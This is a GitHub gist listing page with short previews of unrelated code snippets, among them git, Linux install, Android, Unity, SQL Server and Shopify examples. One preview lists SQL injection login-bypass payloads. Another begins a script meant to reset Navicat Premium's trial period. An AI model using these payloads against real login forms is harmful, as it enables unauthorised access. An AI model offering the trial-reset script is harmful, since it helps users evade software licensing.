Skip to content

Instantly share code, notes, and snippets.

@umayr
umayr / recover-deleted-branch.sh
Created April 1, 2016 11:41
How to recover a deleted branch
## Pre-requisite: You have to know your last commit message from your deleted branch.
git reflog
# Search for message in the list
# a901eda HEAD@{18}: commit: <last commit message>
# Now you have two options, either checkout revision or HEAD
git checkout a901eda
# Or
git checkout HEAD@{18}
@Le0xFF
Le0xFF / VoidLinux_Install.md
Last active May 13, 2024 07:10 — forked from tobi-wan-kenobi/VOID-INSTALL.md
Void Linux installation (on NVMe with trim enabled, with BTRFS filesystem, with Full Disk Encryption using LUKS, with swapfile)

Void Linux installation (on NVMe with trim enabled, with BTRFS filesystem, with Full Disk Encryption using LUKS, with swapfile)

This gist could be outdated, so if you prefer an automated script based on this gist, check out my github repo VoidLinuxInstaller!


Features

This guide explains how to set up Void Linux:

  • On an NVMe disk, enabling trim;
  • Using Full Disk Encryption including /boot, with LUKS;
@rduplain
rduplain / MainActivity.java
Created May 8, 2012 20:08
A very simple full-screen WebView activity for Android native wrappers, as a starting point.
package com.willowtreeapps.demo;
import android.app.Activity;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.Window;
import android.webkit.WebView;
import android.webkit.WebViewClient;
public class MainActivity extends Activity {
using UnityEngine;
public class JumpingCharacterControllerExample : MonoBehaviour
{
[SerializeField] private float jumpHeight;
[SerializeField] private float timeToReachJumpApex;
private Vector3 _velocity;
private Vector3 _oldVelocity;
@danielpaul
danielpaul / revision.java
Last active May 13, 2024 07:04
Basic Java Revision Notes - Written in Java
/*
*
* / --------------------------------[ NUIM CS141 Java Revision ]------------------------------- \
* || Designed to easily revise everything covered in CS141 by just reading through this code. ||
* || Comments accompany almost every line of code to explain its purpose. ||
* || Some theory we need to know are included in the bottom... ||
* \ ------------------------------------------------------------------------------------------- /
*
*
* ____ _ __ ____ __
@spenkk
spenkk / sqli-auth-bypass.txt
Created November 17, 2020 14:10
SQL Injection Authentication Bypass payloads
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
@TheRockStarDBA
TheRockStarDBA / Shrink_DB_In_Chunks.sql
Last active May 13, 2024 07:01
Shrink database in chunks - tsql
/*
This script is used to shrink a database file in
increments until it reaches a target free space limit.
Run this script in the database with the file to be shrunk.
1. Set @DBFileName to the name of database file to shrink.
2. Set @TargetFreeMB to the desired file free space in MB after shrink.
3. Set @ShrinkIncrementMB to the increment to shrink file by in MB
4. Run the script
@tuxity
tuxity / navicat_premium_reset_trial.sh
Last active May 13, 2024 07:00
Reset Navicat Premium 15/16 remaining trial days
#!/bin/bash
set -e
file=$(defaults read /Applications/Navicat\ Premium.app/Contents/Info.plist)
regex="CFBundleShortVersionString = \"([^\.]+)"
[[ $file =~ $regex ]]
version=${BASH_REMATCH[1]}
@mkczyk
mkczyk / .git-plugin-bash.sh
Last active May 13, 2024 06:59
Git aliases for bash (based on Oh My Zsh Git plugin)
#!/bin/bash
# To ~/.bashrc file add line:
# source ~/.git-plugin-bash.sh
# Based on Oh My Zsh Git plugin (without zsh functions):
# https://github.com/ohmyzsh/ohmyzsh/blob/master/plugins/git/git.plugin.zsh
# https://github.com/ohmyzsh/ohmyzsh/tree/master/plugins/git
#
@junaidkbr
junaidkbr / youtube-video-thumbnail.liquid
Created April 5, 2020 23:58
Get Youtube video thumbnail from Youtube URL in Shopify Liquid
{% comment %} We assume that we have the youtube video in form of URL {% endcomment %}
{% assign video_url = 'https://www.youtube.com/watch?v=ScMzIvxBSi4' %}
{% assign thumbnail_url = '' %}
{% comment %} First of all, we get last part of the URL that's supposedly the Youtube Video ID {% endcomment %}
{% assign video_id = video_url | split: '/' | last %}
{% comment %} but we need strip any extra URL params {% endcomment %}
{% assign video_id = video_id | split: '?' | first %}